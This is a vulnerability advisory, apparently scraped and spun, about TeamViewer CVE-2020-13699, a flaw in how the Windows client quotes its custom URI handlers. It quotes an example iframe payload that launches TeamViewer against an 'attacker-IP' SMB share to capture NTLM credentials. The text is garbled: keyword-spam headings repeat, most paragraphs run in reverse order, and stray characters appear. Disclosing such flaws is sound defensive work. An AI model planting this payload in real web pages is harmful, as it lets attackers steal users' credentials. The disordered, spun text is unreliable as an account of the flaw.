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Teamviewer 9 for windows 7 update#
Teamviewer 9 for windows 7 full#
Teamviewer 9 for windows 7 software#

SanerNow security content to detect and mitigate this vulnerability is published.

Teamviewer 9 for windows 7 update#

TeamViewer has published a security update addressing CVE-2020-13699.

Teamviewer 9 for windows 7 full#

The exploitation of the vulnerabilities could allow remote attackers to obtain sensitive credential information or take full control over the affected system. In the case of small business entities, the risk is medium and low for home users.

The disclosure suggested that there is no evidence of this vulnerability exploitation.Īccording to CIS, the risk of exploitation is high for government institutions and mid-size companies.

These attacks could drive to additional exploitation due to stolen credentials from the successful exploitation of the vulnerability.

The application could be forced to relay an NTLM authentication request to the attacker’s system enabling offline rainbow table attacks and brute force cracking attempts.

Successful exploitation of this vulnerability could allow a remote attacker to launch TeamViewer with arbitrary parameters.

That request can be relayed i.e., allows an attacker to capture an authentication and send it to another server, granting them the ability to perform operations on the remote server using the authenticated user’s privilege.

Windows will perform NTLM authentication when opening the SMB share.

According to Jeffrey Hofmann, a security engineer with Praetorian, who discovered and disclosed the vulnerability “An attacker could embed a malicious iframe in a website with a crafted URL (iframe src=’teamviewer10: –play \\attacker-IP\share\s’) that would launch the TeamViewer Windows desktop client and force it to open a remote SMB share.”.

A user with an installed vulnerable TeamViewer version is tricked into visiting a maliciously crafted website to exploit this vulnerability.

Specifically, this vulnerability is due to the application not correctly quoting its custom URI handlers.

CVE-2020-13699 is a security flaw that stems up from an unquoted search path or element.

Teamviewer 9 for windows 7 software#

It is also possible to access a system running TeamViewer with a web browser.Ī recent increase in the remote connectivity software application usage due to the recent COVID-19 Pandemic work from home culture shift. TeamViewer is available for Microsoft Windows, Linux, macOS, Chrome OS, Android, iOS, Windows RT, Windows Phone 8, and BlackBerry operating systems.

TeamViewer is a software application for remote control, desktop sharing, online meetings, web conferencing and file transfer between computers developed by the German company TeamViewer GmbH. It is tracked as “ CVE-2020-13699“, with a CVSS base score of “ 8.8” that could be exploited by remote attackers to crack users’ password and thereupon, lead to the further system exploitation. A high-risk vulnerability was found in TeamViewer for Windows.